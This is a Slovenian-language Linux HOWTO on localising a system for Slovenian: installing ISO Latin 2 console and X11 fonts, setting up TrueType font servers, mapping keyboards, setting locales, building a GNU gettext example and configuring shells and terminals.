Linux je izvedba vecopravilnega, vecuporabniskega operacijskega sistema Unix za osebne racunalnike s procesorji Intel (80386, 80486, Pentium, Pentium MMX, Pentium Pro in Pentium II), Digital AXP 21x64, Sun SPARC in Motorola 680x0, v delu pa so priredbe za Power PC, MIPS in ARM. Jedro operacijskega sistema je ob pomoci in sodelovanju stevilnih zanesenjakov z Interneta napisal Linus Torvalds z univerze v Helsinkih na Finskem. Skupaj s programi iz projektov GNU, X Window System in BSD predstavlja sodobno programsko okolje, enakovredno komercialnim razlicicam sistema Unix.

Linux je prost program, dostopen skupaj z izvorno kodo. Najnovejse razlicice programja za Linux je moc najti na:

ftp://metalab.unc.edu/pub/Linux/
ftp://tsx-11.mit.edu/pub/linux/
Obe mesti sta navadno tezko dostopni in zelo zasedeni, zato uporabimo eno od stevilnih mest, kjer se zrcali vsebina zgornjih dveh; pametno je, da zacnemo na katerem od domacih zrcal; nasteta so v poglavju Linux v Sloveniji.

1.2 Dogovor o zapisu

V tem spisu so zgledi zamaknjeni od roba in izpisani v pisavi fiksne sirine, npr.

echo "Pozdravljeni"

Psevdoimena v zgledih so izpisana s lezeco razlicico iste pisave, npr.

ls datoteka
Tu se od bralca ali bralke pricakuje, da bo psevdoime datoteka nadomestil(-a) z dejanskim imenom datoteke.

Z znakom ~ se po ustaljenem obicaju na sistemih Unix oznacuje osnovno podrocje uporabnika (za uporabnika z imenom uporabnik je to navadno /home/uporabnik). Nanj kaze tudi sistemska spremenljivka $HOME.

Nadalje je za nastavitve spremenljivk okolja v tem spisu vseskozi uporabljan zapis, ki se uporablja v Bournovi ukazni lupini in njenih izpeljankah (Kornova lupina, lupina bash). Bralec ali bralka, ki uporablja ukazno lupino C (csh ali tcsh), bo znal(a) sam(a) prevesti primere

SPREMENLJIVKA=vrednost; export SPREMENLJIVKA
(ali celo export SPREMENLJIVKA=vrednost, kar dopusca bash) v analogne
setenv SPREMENLJIVKA vrednost


Slovenian HOWTO: Za nestrpne

 Next Previous Contents

2. Za nestrpne

To poglavje ponuja nekaksna ``Izbrana poglavja iz slovenskega HOWTO'' za tiste, ki se jim zdajle mudi, da bi lahko bodisi v znakovnem, bodisi v graficnem nacinu, takoj zaceli tipkati z nasimi znaki, k branju celotnega spisa pa bi se vrnili kdaj kasneje in v miru. Omenim naj edino se to, da sta prilagoditev konzole in prilagoditev okolja X Window System povsem neodvisna.

2.1 Nasi znaki na konzoli

Trije koraki so potrebni, da znakovni terminal (ki se mu iz razlogov, po starosti dalec presegajocih povprecnega uporabnika Linuxa, vcasih pravi tudi konzola) prilagodimo za delo z nasimi znaki:

  1. Omogociti moramo prikaz nasih znakov v znakovnem nacinu. Opisano v razdelku Konzola poglavja ``Prikaz nasih znakov na zaslonu''.
  2. Nastaviti moramo ustrezno preslikavo tipkovnice. Opisano v razdelku Konzola poglavja ``Tipkovnica''.
  3. Ukazno lupino moramo nastaviti tako, da bo dovoljevala vnos osembitnih znakov. Opisano v razdelku bash v podpoglavju o ukaznih lupinah (ali v razdelku tcsh, ce uporabljate to ukazno lupino).

2.2 Nasi znaki v okolju X Window System

Z okoljem X Window System je podobno kot s konzolo, le pot je malenkost daljsa.

  1. Namestiti moramo nase znake in pripraviti graficno okolje X Window System do tega, da jih bodo uporabljali. Opisano v razdelku X Window System poglavja ``Prikaz nasih znakov na zaslonu''.
  2. Nastaviti moramo preslikavo tipkovnice. Opisano v razdelku X Window System poglavja ``Tipkovnica''.
  3. Nastaviti moramo terminalski emulator, da bo prikazoval nase znake. Opisano v razdelku xterm poglavja o terminalskih emulatorjih.
  4. Ukazno lupino moramo nastaviti tako, da bo dovoljevala vnos osembitnih znakov. Opisano v razdelku bash v podpoglavju o ukaznih lupinah (ali v razdelku tcsh, ce uporabljate to ukazno lupino).


Slovenian HOWTO: Prikaz nasih znakov na zaslonu

 Next Previous Contents

3. Prikaz nasih znakov na zaslonu

3.1 Nabor znakov ``ISO Latin 2''

ISO 8859-2 oz. ISO Latin 2 je clan druzine osembitnih naborov znakov ISO 8859, ki pokriva potrebe alfabetskih pisav (latinica in cirilica ter arabska, hebrejska in grska pisava; v pripravi sta tudi armenska in gruzinska). Druzino je zasnovalo evropsko zdruzenje proizvajalcev racunalnikov (European Computer Manufacturer's Association, ECMA), kot mednarodni standard pa potrdila organizacija za standardizacijo ISO s sedezem v Zenevi.

Nabor ISO Latin 2 vsebuje vse potrebne znake za pisanje v albanscini, anglescini, bosnjascini, cescini, finscini, hrvascini, irscini, luziski srbscini, madzarscini, nemscini, poljscini, romunscini, slovascini, slovenscini, ter srbscini v latinicnem precrkovanju.

Nekaj proizvajalcev strojne in programske opreme, med njimi IBM, Apple in Microsoft, uporablja svoje kodne strani za kodiranje znakov srednje- in vzhodnoevropskih narodov. Te kodne strani so praviloma nezdruzljive tako med seboj, kot tudi s standardom ISO.

3.2 Konzola

Nabor znakov za sistemsko konzolo najdemo v paketu kbd Andriesa Brouwerja z univerze v Eindhovnu, Nizozemska. Paket je del vseh distribucij Linuxa in se avtomaticno nalozi ob namestitvi sistema. Pisave in pretvorne tabele so zlozene v imeniku /usr/lib/kbd. (Avanturisti se lahko namesto s paketom kbd igrajo s prototipnimi Linux Console Tools avtorja Yanna Dirsona.)

V starejsih distribucijah Slackware se je prevedeni paket imenoval keytbls. Namestimo ga enako kot druge pakete, z ukazom pkgtool ali installpkg.

Ko imamo paket enkrat namescen, izberemo drugo pisavo na zaslonu z ukazom setfont. Spodnji zgled izbere pisavo z naborom znakov po standardu ISO Latin 2 v velikosti sestnajst pik:

setfont lat2-16
Za nas zanimive pisave so iso02.f08, iso02.f14 in iso02.f16, ter lat2-08.psf, lat2-10.psf, lat2-12.psf, lat2-14.psf in lat2-16.psf (pripono .psf lahko pri ukazu setfont izpuscamo).

Izbrana pisava velja v vseh virtualnih terminalih (glej console(4)) na konzoli. Ce nam to ni vsec, ampak bi radi imeli v vsakem virtualnem terminalu svojo pisavo, si lahko pomagamo s programom vtfontd Iana Zimmermana. Ta vsakic, ko zapustimo virtualni terminal, shrani izbrano konzolno pisavo, in jo ponovno restavrira, ko se vrnemo vanj.

ftp://sizif.mf.uni-lj.si/pub/linux/vtfontd-1.0.1.tar.gz

Z izbiro pisave smo opravili sele nekako tretjino vsega dela, potrebnega, da bi lahko v tekstovnem okolju pisali po slovensko. Izvesti moramo vsaj se preslikavo tipkovnice ter omogociti vnos osembitnih znakov v ukazni lupini. Nestrpna bralka ali bralec si lahko potrebno prebere v razdelku Konzola poglavja ``Tipkovnica'' ter v o razdelku ukazni lupini bash v poglavju o ukaznih lupinah.

3.3 X Window System

Kratka navodila za namestitev pisav z nasimi znaki za uporabo z X Window System in streznikom XFree86.

  1. Pisave snamemo z najblizjega streznika FTP:
    ftp://ftp.arnes.si/software/unix/Latin-2-fonts/
    Datoteka ISO8859-2-bdf.tar.gz vsebuje najpopolnejsi nabor pisav, kodiranih po ISO 8859-2, vecino uporabnih pisav pa vsebuje tudi xfonts-iso2-0.84.tar.gz. Po obicajnem postopku (tar -xzf ...) jih dekomprimiramo in razpakiramo.
  2. Pisavam z nasimi znaki dolocimo mesto v drevesni strukturi imenikov. Obicajno je to podimenik v imeniku /usr/X11R6/lib/X11/fonts/ (vcasih tudi /usr/lib/X11/fonts/, /usr/lib/X11R6/lib/X11/fonts ali celo /usr/X386/lib/X11/fonts/ kar pa naj nas ne moti). Mozen primer:
    /usr/X11R6/lib/X11/fonts/iso_8859.2/75dpi/
/usr/X11R6/lib/X11/fonts/iso_8859.2/100dpi/
/usr/X11R6/lib/X11/fonts/iso_8859.2/misc/
    Ce imenikov s tem imenom se ni, jih ustvarimo.
  3. Streznik X ne zna uporabiti pisav v enakem formatu, kot se distribuirajo, zato jih moramo s programom bdftopcf prevesti iz formata BDF (Binary Distribution Format) v format PCF (Portable Compiled Format). Starejse izdaje X Window System so namesto slednjega uporabljale format SNF (Server Native Format), ki pa se danes ne uporablja vec.
    for FILE in *.bdf
do
  bdftopcf $FILE -o `basename $FILE .bdf`.pcf
done
    (da, ukazi v bash lahko segajo tudi prek vecih vrstic). Pisav v obliki BDF zdaj ne potrebujemo vec in jih lahko pobrisemo.
  4. Streznik X zna uporabiti stisnjene datoteke s pisavami, kar lahko izkoristimo in prihranimo se nekaj prostora na disku.
    gzip *.pcf
    Starejse izdaje streznika X podpirajo le stiskanje s compress.
  5. V vsakem imeniku s pisavami pricakuje streznik datoteko fonts.dir, ki podaja preslikavo med opisi pisav (X Logical Font Description, XLFD) in imeni datotek. Ustvarimo jo z ukazom
    mkfontdir
    Ukaz moramo pognati v vsakem podimeniku s pisavami.
  6. Koncno lahko streznik obvestimo o tem, da smo namestili nove pisave, kar storimo z ukazom xset:
    xset +fp /usr/X11R6/lib/X11/fonts/iso_8859.2/75dpi/
xset +fp /usr/X11R6/lib/X11/fonts/iso_8859.2/100dpi/
xset +fp /usr/X11R6/lib/X11/fonts/iso_8859.2/misc/
xset fp rehash
    Ce je slo vse gladko, mora ukaz xlsfonts -fn "*-iso8859-2" pokazati seznam vseh novo namescenih pisav.
  7. Ukaz xset velja samo, dokler ne zapustimo X Window System. Trajno spremembo dosezemo s popravkom konfiguracijske datoteke. Streznik XFree86 hrani svoje nastavitve v datoteki /etc/XF86Config (pisec teh vrstic je v nekaj letih ukvarjanja z XFree86 na razlicnih distribucijah nastavitve videl tudi ze v datotekah /etc/X11/XF86Config, /usr/X11R6/lib/X11/XF86config in /usr/X11/lib/X11/Xconfig). Poiscemo niz FontPath in dodamo vrstice:
    FontPath "/usr/X11R6/lib/X11/fonts/iso_8859.2/75dpi"
FontPath "/usr/X11R6/lib/X11/fonts/iso_8859.2/100dpi"
FontPath "/usr/X11R6/lib/X11/fonts/iso_8859.2/misc"

To je vse. Od zdaj naprej zna X Window System na zahtevo programa prikazati tudi nase znake. Vec o tem, kako program, npr. xterm, pripravimo do tega, da zahteva nase znake, si preberemo v razdelku xterm poglavja o terminalskih emulatorjih.

3.4 PostScript pod X11

Streznik X zna uporabljati rastrske pisave v oblikah PCF, SNF in BDF ter vektorske pisave v obliki Speedo in Type 1. Pri majhnih velikostih (do 10 tipografskih pik) so rastrske pisave na zaslonu navadno lepse, pri vecjih velikostih, npr. v graficnih programih, pa so vektorske pisave znatno lepse.

Nekaj vektorskih pisav Type 1 v kodnem razporedu ISO Latin 2 je pripravil Peter Soos. Pri namescanju v celoti sledimo postopku, opisanem v razdelku X Window System poglavja Prikaz nasih znakov na zaslonu. S streznika snamemo datoteko v obliki zip:

ftp://ftp.arnes.si/software/unix/Latin-2-fonts/l2pfb005.zip

Se vec pisav je zbrala ceska skupina, paket RPM (vsebino namestimo z ukazom rpm -Uvh ...) najdemo na

ftp://crash.fce.vutbr.cz/pub/linux_fonts/X11fonts-ulT1mo-beta-1.0-4.noarch.rpm

Ustvarimo nov imenik, npr. /usr/X11R6/lib/X11/fonts/iso_8859.2/Type1, in vanj stresemo vsebino arhiva l2pfb004.zip. Avtor je ze pripravil datoteki fonts.scale in fonts.dir. Ponovimo vajo z xset in v nastavitveno datoteko dodamo vrstico:

FontPath "/usr/X11R6/lib/X11/fonts/iso_8859.2/Type1"
Namesto xlsfonts tokrat iz okenskega okolja X Window System pozenimo xfontsel. Novo namescene pisave najdemo najhitreje, ce jih iscemo po ``crkolivnici'' (angl. type foundry) sp (po avtorjevih zacetnicah) v prvem stolpcu (fndry). Izberite kaksno veliko povecavo (pxlsz) in primerjajte z rastrskimi pisavami!

3.5 TrueType pod X11

Rasterizator za pisave TrueType se ni standardni del paketa X Window System. Fantje iz The XFree86 Project, Inc. nacrtujejo vkljucitev podpore zanje v izdaji XFree86 4.0.

Freetype in xfsft

Mark Leisher in Juliusz Chroboczek sta standardni streznik pisav iz okolja X Window System dopolnila s FreeType, prostim rasterizatorjem za pisave TrueType, ki so ga napisali David Turner, Robert Wilhelm, Werner Lemberg in sodelavci. Streznik je na voljo kot izvorna koda, s katero lahko pokrpate izvorno kodo streznika X, ali pa kot ze preveden program za Linux.

http://www.freetype.org/
http://www.dcs.ed.ac.uk/home/jec/programs/xfsft/

Predpostavili bomo, da ste na kakrsenkoli nacin ze uspeli priti do izvedljive datoteke xfsft.

  1. Ustvarimo imenik za pisave TrueType, npr. /usr/X11R6/lib/X11/fonts/TrueType/ in vanj prepisemo datoteke s pisavami TrueType.
  2. V omenjenem imeniku ustvarimo datoteko fonts.scale. Preprost primer taksne datoteke je naslednji:
    5
times.ttf -monotype-times-medium-r-normal--0-0-0-0-p-0-iso8859-1
times.ttf -monotype-times-medium-r-normal--0-0-0-0-p-0-iso8859-2
times.ttf -monotype-times-medium-r-normal--0-0-0-0-p-0-iso8859-5
times.ttf -monotype-times-medium-r-normal--0-0-0-0-p-0-koi8-r
times.ttf -monotype-times-medium-r-normal--0-0-0-0-p-0-iso10646-1
    Opazimo lahko, da se vseh pet vrstic nanasa na eno in isto datoteko. Razlikujejo se le po kodnem naboru. Ker datoteka vsebuje vse potrebne znake, jo streznik pisav aplikacijam lahko predstavi kot katerokoli od nastetih petih kodnih naborov. Joerg Pomnitz je napisal programcek ttmkfdir, ki avtomaticno pregleda vse datoteke TrueType in ustvari datoteko fonts.scale.
    http://www.darmstadt.gmd.de/~pommnitz/xfsft.html
  3. V istem imeniku zatem pozenemo se mkfontdir. Ta ne bo napravil nic drugega, kot obstojeco datoteko fonts.scale nespremenjeno prepisal v datoteko z imenom fonts.dir.
  4. S streznikom pisav xfsft bodisi prepisemo obstojeci streznik (navadno /usr/X11R6/bin/xfs, ali pa ga premaknemo na kaksno drugo primerno mesto.
  5. Streznik pisav potrebuje konfiguracijsko datoteko. Spodnja naj sluzi za zgled, ce nimate boljse:
    clone-self = off
use-syslog = off
client-limit = 20

catalogue = /usr/X11R6/lib/X11/fonts/TrueType,/usr/X11R6/lib/X11/fonts/Type1

error-file = /usr/X11R6/lib/X11/fs/fs-errors

# in decipoints
default-point-size = 120

# x,y
default-resolutions = 100,100,75,75
    Zdaj lahko pozenemo streznik pisav X. Pri zgledu smo uporabili vrata 7100. Ce so na vasem sistemu ze zasedena, izberite druga. Za podrobnosti si oglejte prirocnik xfs(1).
    xfsft -port 7100 -config /usr/X11R6/lib/X11/fs/config &
  6. Ne da bi spreminjali pot, v kateri iscemo pisave, lahko preverimo, ce streznik deluje:
    fslsfonts -server localhost:7100
  7. Ce smo zadovoljni, dodamo streznik pisav med vire, kjer iscemo pisave, npr.
    xset fp+ tcp/localhost:7100
    Streznik pisav lahko seveda tece tudi na drugem racunalniku, tako da ni potrebe, da imamo na vseh racunalnikih v lokalni mrezi namescene vse pisave. Dokoncno dodamo streznik pisav v konfiguracijsko datoteko /etc/XF86Config:
    FontPath "tcp/localhost:7100"

Xfstt

Drugi streznik pisav za X11, ki podpira pisave TrueType, je Xfstt. Pisec teh vrstic z njim nima izkusenj, je pa z veseljem pripravljen na to mesto vkljuciti izkusnje drugih. Xfstt najdete na navedenem mestu in vseh zrcalih le-tega.

ftp://metalab.unc.edu/pub/Linux/X11/fonts/Xfstt-0.9.10.tgz


Slovenian HOWTO: Tipkovnica

 Next Previous Contents

4. Tipkovnica

4.1 Konzola

Nabor znakov za sistemsko konzolo in tabele za premapiranje tipkovnice najdemo v paketu kbd Andriesa Brouwerja z univerze v Eindhovnu, Nizozemska. Avtor paketa je napisal tudi Keyboard HOWTO, kjer si lahko o tej temi preberemo vec. Paket je del vseh obicajnih distribucij in se nalozi avtomaticno ob namestitvi sistema.

V starejsih distribucijah Slackware se je prevedeni paket imenoval keytbls. Namestimo ga enako kot druge pakete, z ukazom pkgtool ali installpkg.

Paket kbd vsebuje tabelo za slovensko tipkovnico s 102 tipkama in zaslonske pisave za kodni nabor ISO Latin 2. Vsi, ki iz kakrsnihkoli razlogov uporabljajo drugacno tipkovnico, si lahko na osnovi zgledov v /usr/lib/kbd/ pripravijo svojo. Marko Macek je ze pripravil tabelo preslikav za amerisko tipkovnico s 101 tipko:

http://www.kiss.uni-lj.si/~k4fr0235/kbd/

Celoten postopek za izbiro zaslonske pisave, tabele za tipkovnico in uporabo le-te je taksen:

# Izberemo pisavo z naborom ISO Latin 2 v velikosti 16 pik
setfont lat2-16
# Nalozimo prireditveno tabelo za slovensko tipkovnico...
loadkeys slovene
# ...in jo izberemo
echo -e -n "\\033(K" > /dev/console

Distribucija Debian pozna tudi ukaz kbdconfig, ki opravi isto.

Ce zelimo, da je taksna nastavitev trajna, dodamo zgornjih sest vrstic v nastavitveno datoteko /etc/rc.d/rc.local, ki se izvede ob zagonu operacijskega sistema. Ce ob tem omogocimo se vnos osembitnih znakov v ukazni lupini bash, je to najnujnejse, kar je potrebno za pisanje po slovensko v tekstovnem nacinu.

4.2 X Windows System

V X Windows System lahko spreminjamo razpored tipk na tipkovnici z ukazom xmodmap. Tabelo preslikav za obicajno tipkovnico s 102 ali 105 tipkami, kot je v rabi pri nas, lahko snamemo z

ftp://sizif.mf.uni-lj.si/pub/i18n/Xmodmap.sl.pc102
Uporaba je enostavna:
xmodmap Xmodmap.sl.pc102
Preslikava tipkovnice velja, dokler ne zapustimo okolja X Window System. Zamenjamo jo lahko s ponovnim ukazom xmodmap, ki mu kot argument podamo datoteko s tabelo preslikav. Tabela za standardno amerisko tipkovnico navadno najdemo kot /usr/X11R6/lib/X11/etc/xmodmap.std. Ce je ne, si jo lahko pripravimo sami: preden nalozimo slovensko preslikavo tipkovnice, pozenemo:
xmodmap -pke > Xmodmap.us
To potem nalozimo enako kot slovensko tabelo.

Ce zelimo ta razpored trajno namestiti, preimenujemo datoteko bodisi v ~/.Xmodmap (osebna nastavitev) ali pa v sysmodmap=/usr/X11R6/lib/X11/xinit/.Xmodmap (skupna nastavitev za vse uporabnike; ponekod se ta datoteka imenuje tudi /etc/X11/xinit/Xmodmap), ki se avtomaticno nalozi ob vsakem zagonu X Window System. Ce se ne nalozi, preverite svojo datoteko ~/.xinitrc. V njej mora biti nekaj takega kot:

usermodmap=$HOME/.Xmodmap
sysmodmap=/usr/X11R6/lib/X11/xinit/.Xmodmap

if [ -f $sysmodmap ]; then
    xmodmap $sysmodmap
fi

if [ -f $usermodmap ]; then
    xmodmap $usermodmap
fi

Ob preslikavi tipkovnice ne pozabimo na to, da moramo tudi v ukazni lupini omogociti vnos osembitnih znakov (poglavje Ukazne lupine).

Xks

Cesko podjetje Informatica s.r.o. se je problema preslikave tipkovnice lotilo drugace. Njihov produkt Xks je streznik, ki se vgnezdi med streznik X in namenske programe ter prestreze vse dogodke KeyPress ter jih po potrebi modificira. Ta resitev deluje tudi pri slabo napisanih programih, pri katerih preslikava z xmodmap ne deluje, obljublja pa tudi resitev za aktivacijo nemih tipk (tipke v zgornji vrstici slovenske tipkovnice lahko v kombinaciji s tipko AltGr delujejo kot neme tipke).

http://www.informatica.cz/

Xks je program na pokusino (shareware); registracija izvedbe za Linux stane 900 ceskih kron (okrog 4500 tolarjev). Pisec teh vrstic se zaenkrat se ni utegnil ukvarjati s njim, bi pa z veseljem vkljucil na to mesto izkusnje drugih.


Slovenian HOWTO: Slovenski locale

 Next Previous Contents

5. Slovenski locale

Z izrazom locale oznacujemo skupek lastnosti programskega okolja, odvisnih od jezikovnega in kulturnega okolja uporabnika. Mednje sodi informacija o tem, kateri znaki so crke in kaksen je njihov vrstni red, nacin izpisa datuma in ure, izbiro locila v zapisu decimalnih stevil (vejica oz. pika), zapis valute in sporocila programov uporabniku.

Programski vmesnik za internacionalizacijo in lokalizacijo na sistemih, zdruzljivih s standardi POSIX, je definiran v standardu ISO/IEC 9899 (Programski jezik ISO C) ter IEEE 1003.2 (POSIX.2). Informacije, pomembne za lokalizacijo, razvrsca v sest kategorij:

  • LC_CTYPE (znaki, ki predstavljajo abecedo)
  • LC_COLLATE (vrstni red znakov v abecedi)
  • LC_TIME (izpis datuma in ure)
  • LC_NUMERIC (izpis stevilcnih vrednosti)
  • LC_MONETARY (izpis valute)
  • LC_MESSAGES (komunikacije z uporabnikom)

LC_ALL zajema vseh nastetih sest kategorij. Medtem ko projekt GNU pri izvedbi prvih petih kategorijah zvesto sledi standardu, se je v sesti odlocil za njegovo razsiritev. Standardizacijski komite se namrec ni mogel zediniti okrog izvedbe ravnanja s prevodi sporocil, zato je standard v tej tocki prakticno neuporaben: doloca le prevode za ``da'' in ``ne''. Projekt GNU je zato razvil svojo metodo, to je paket GNU gettext. Prevedeni katalogi sporocil, ki jih uporablja mehanizem gettext se navadno nahajajo v podimenikih imenika /usr/share/locale/.

Sledi nekaj primerov odziva poslovenjenega sistema. Primeri so pobrani s HP-UX, ker je lokalizacija Linuxa zaenkrat se v teku -- knjiznica GNU libc 2.0 in kasnejse izpeljanke sicer ze ponujajo okvir za lokalizacijo, izvedba pa zaenkrat se zaostaja, zato koncepta zaenkrat se ne moremo ilustrirati s programi iz paketov textutils, fileutils ipd.

Z nastavitvijo spremenljivke LANG na slovenski locale se spremenijo vsi prilastki:

~> date
Sat Oct 19 22:32:04 METDST 1996
~> LANG=sl_SI.iso88592 date
Sob, 19 okt 1996 22:32:04

Lahko pa jih spreminjamo tudi vsakega posebej. Ce zelimo obdrzati angleske izpise, obliko datuma, decimalno piko ipd., zeleli pa bi, da gre urejanje crk po slovenski abecedi, spremenimo samo LC_COLLATE:

~> sort abc.tex
abc
abca
abd
abc
~> LANG=C LC_COLLATE=sl_SI.iso88592 sort abc.tex
abc
abca
abc
abd
Seveda LC_COLLATE ne resi vseh problemov v zvezi z urejanjem. Pri razvrscanju kastiljskih kraljev bi, recimo, zeleli, da pride Alfonz IX. za Alfonzem VIII. in pred Alfonzem X. Kar pa je verjetno ze problem za umetno inteligenco...

Spremenljivka LANG ima v splosnem obliko:

LANG=jezik[_drzava[.nabor]]
Pri tem je jezik dvocrkovna koda jezika, kot jo doloca standard ISO 639, drzava pa dvocrkovna koda drzave, dolocena s standardom ISO 3166. Zgled za slovenscino, kot se govori v Sloveniji in pise s kodnim naborom ISO 8859-2, je torej
LANG=sl_SI.iso88592
Dolocitev drzave in nabora znakov je neobvezna (pomembna je seveda pri jezikih, ki se govorijo v vec drzavah; kaksen locale uporabljajo Slovenci v zamejstvu, je piscu teh vrstic neznano), tako lahko pisemo na kratko
LANG=sl

5.1 Programiranje z GNU gettext

Paket GNU gettext ponuja nekaj orodij za lokalizacijo:

  • xgettext, ki iz izvorne kode izlusci sporocila
  • msgcmp, ki primerja dva kataloga sporocil
  • msgmerge, zdruzi star preveden katalog sporocil z novim, neprevedenim
  • msgfmt, ki prenosen katalog sporocil prevede v binarno obliko
  • msgunfmt, obratno od msgfmt

S kratkim zgledom ilustrirajmo, kako poteka pisanje lokaliziranega programa s paketom GNU gettext.

  1. Najprej napisemo program zgled.c. Pri pisanju programa ze vkljucimo mehanizme internacionalizacije:
    #include <locale.h>
#include <stdio.h>
#include <libintl.h>

#define PACKAGE   "zgled"
#define LOCALEDIR "/usr/local/share/locale"

char main() {
    setlocale (LC_MESSAGES, "");
    bindtextdomain (PACKAGE, LOCALEDIR);
    textdomain (PACKAGE);

    printf("%s\n", gettext("This is a short example."));
    printf("%s\n", gettext("Author: Primoz Peterlin"));
    return(0);
}
  2. Z ukazom xgettext iz izvorne kode izluscimo izpise na zaslon:
    xgettext zgled.c
    S tem smo ustvarili datoteko messages.po. To je obicajna besedilna datoteka, ki vsebuje skelet prevodov sporocil.
  3. Datoteko messages.po z urejevalnikom dopolnimo s prevodi, recimo takole:
    # Slovenski prevod zgleda
# Primoz Peterlin, <primoz.peterlin@biofiz.mf.uni-lj.si>
#
msgid ""
msgstr ""
"Project-Id-Version: zgled 1.0\n"
"POT-Creation-Date: 1998-12-06 14:05:53+0100\n"
"PO-Revision-Date: 1998-12-06 15:00:00+0100\n"
"Last-Translator: Primoz Peterlin <peterlin@biofiz.mf.uni-lj.si>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=ISO-8859-2\n"
"Content-Transfer-Encoding: 8bit\n"
"Xgettext-Options: \n"
"Files: zgled.c\n"

#: zgled.c:13
msgid "This is a short example."
msgstr "To je kratek zgled."

#: zgled.c:14
msgid "Author: Primoz Peterlin"
msgstr "Avtor: Primoz Peterlin"
  4. Popravljeno prenosljivo datoteko s sporocili (angl. portable message file) messages.po prevedemo v binarno obliko:
    msgfmt -v -o zgled.mo messages.po
  5. Binarno datoteko prestavimo v imenik, kjer jo bo gettext nasel:
    mv zgled.mo /usr/local/share/locale/sl/LC_MESSAGES
  6. Program prevedemo in povezemo s knjiznico libintl.a:
    gcc -o zgled zgled.c -lintl
  7. Pa poskusimo, kaksna je razlika!
    LANG=C ./zgled
LANG=sl ./zgled
LC_ALL=sl ./zgled
LC_MESSAGES=sl ./zgled
LC_CTYPE=sl ./zgled
LC_ALL=sl_SI.iso88592 ./zgled
    V prvem in zadnjem primeru je izpisano sporocilo anglesko, v predzadnjem pa verjetno tudi. V prvem zato, ker smo eksplicitno zahtevali locale ``C'', v zadnjem pa zato, ker smo zahtevali locale ``sl_SI.iso88592'', v katerem ni prevoda sporocil -- to namrec obstaja za locale ``sl''. V predzadnjem zgledu smo uporabili pravi locale, a irelevantno kategorijo LC_CTYPE namesto uporabljene LC_MESSAGES.

Se dve opombi: imenik, kamor prestavimo katalog sporocil, se mora ujemati z imenikom LOCALEDIR, navedenim v izvorni kodi. Tezavo, da GNU gettext razume ``sl'' in ``sl_SI.iso88592'' kot razlicna locala, je pisec teh vrstic resil z simbolno povezavo v imeniku /usr/local/share/locale:

ln -s sl sl_SI.iso88592

5.2 Poslovenjenje katalogov sporocil

V teku je internacionalizacija projekta GNU (programi iz projekta GNU predstavljajo znaten del celotnega sistema Linux in vecino tistega, s cimer se sooca koncni uporabnik). Trenutno so v slovenscino ze prevedena sporocila za naslednje pakete GNU: enscript, fileutils, gettext, grep, hello, recode in tar. Z nastavitvijo spremenljivke okolja

LANG=sl
bodo programi iz teh paketov izpisovali slovenska sporocila namesto angleskih.

Razprava o poslovenjenju projekta GNU poteka med prejemniki elektronskega spiska <sl@li.org>, nanj se lahko narocite tako, da na naslov sl-request@li.org posljete vrstico

subscribe
v telesu sporocila.

Pomoc prostovoljcev, ki bi prevedli preostale pakete, ali pa se samo zavezali za vzdrzevanje ze prevedenih, je nadvse zazelena. Vabljeni!


Slovenian HOWTO: Poslovenjenje razlicnih programov

 Next Previous Contents

6. Poslovenjenje razlicnih programov

Na tem mestu bi se v idealnem svetu opis poslovenjenja Linuxa lahko koncal. Povedali smo vse potrebno o vnosu in izpisu nasih znakov, ter kako z definiranjem spremenljivk okolja programom dopovemo, da delamo s slovenskimi besedili. To poglavje je takorekoc v celoti posveceno izjemam -- programom, ki iz taksnih ali drugacnih razlogov ne uporabljajo lokalizacijskih spremenljivk, alternativnim metodam za vnos ali izpis znakov, ki v izjemnih primerih (npr. ce nimamo tipkovnice s slovenskimi znaki) lahko vseeno pridejo prav, in podobnemu.

6.1 Ukazne lupine

bash

Nastavitve ukazne lupine bash so v datoteki ~/.inputrc (ki jo po potrebi ustvarimo):

set meta-flag on
set convert-meta off
set output-meta on
Te tri vrstice je morda pametno dodati tudi v /etc/skel, tako da jih podedujejo tudi vsi na novo ustvarjeni uporabniki.

Tole se sicer ne navezuje na slovenscino, ko ste ze pri poslu, si lahko zivljenje olajsate se s tem, da tipkam Home, Delete in End vrnete njihov obicajni pomen: v isto datoteko (~/.inputrc) dodate se vrstice

"\e[1~": beginning-of-line
"\e[3~": delete-char
"\e[4~": end-of-line

tcsh

Vnos osembitnih znakov omogocimo, ce v nastavitveno datoteko (/etc/csh.login za skupne nastavitve oz. ~/.tcshrc ali ~/.cshrc za osebne nastavitve) dopisemo vrstico:

setenv LC_CTYPE sl_SI.iso88592

Med nami: kaze, da je ukazni lupini tcsh povsem vseeno, na kaj nastavite spremenljivko LC_CTYPE, samo da ni nedefinirana.

Pazite: ukazna lupina mora biti prevedena z vklopljeno izbiro ``8-bit''! To lahko preverite z ukazom ``set'':

rufko:~% set
...
version tcsh 6.06.00 (Cornell) 1995-05-13 (i386-intel-linux) options 8b,dl,al
rufko:~%
Pomemben je tisti ``8b''. Ce se pri vas ne izpise, vam verjetno ne preostane drugega, kot da snamete izvorno kodo in jo prevedete.

6.2 Terminalski emulatorji

xterm

V datoteki ~/.Xresources (osebna nastavitev) ali pa v datoteki /usr/lib/X11/app-defaults/XTerm (skupna nastavitev) dolocimo pisave, ki jih uporablja XTerm. Izberemo pisavo, ki ima vse znake enako siroke, npr. ,,fixed`` ali ,,Courier``, in je kodirana po razporedu ISO Latin 2. Zgled:

XTerm*font:     -*-fixed-medium-r-normal--16-*-iso8859-2
XTerm*boldFont: -*-fixed-bold-r-normal-sans-16-*-iso8859-2

Primerne pisave lahko izpisemo z ukazom xlsfonts (glej se razdelek X Window System poglavja ``Prikaz nasih znakov na zaslonu''):

xlsfonts -fn '*-fixed-*-iso8859-2'

rxvt

Po podatkih v ceskem HOWTO rxvt zaenkrat (razvojna izdaja 2.4.6) ne deluje z nasimi znaki brez posegov v izvorno kodo. Potrebne posege najdete v ``Czech HOWTO'' (ki ni del arhiva LDP; glejte razdelek Zahvala, kje ga najdete).

6.3 Pisarniski paketi

WordPerfect

(Jaka Mele, Vse naredim pod Linuxom!, Win.Ini, l.6, st.9, str.60)

WordPerfect ima vse potrebne znake ze v svoji tabeli. Vse, kar moramo napraviti, je da za nase crke definiramo makroukaze. Recimo, da bi radi definirali crko S (velika crka S s stresico). Pricnemo s snemanjem makroukaza (recimo mu Scaron), skocimo v tabelo znakov, v njej izberemo crko S, zakljucimo makro in nazadnje pri nastavitvah povezemo makro z izbrano tipko.

(Jaka Mele, Message-id: <Pine.LNX.4.05.9812241251460.15368-101000@ro.zrsss.si>

---------- Forwarded message ----------
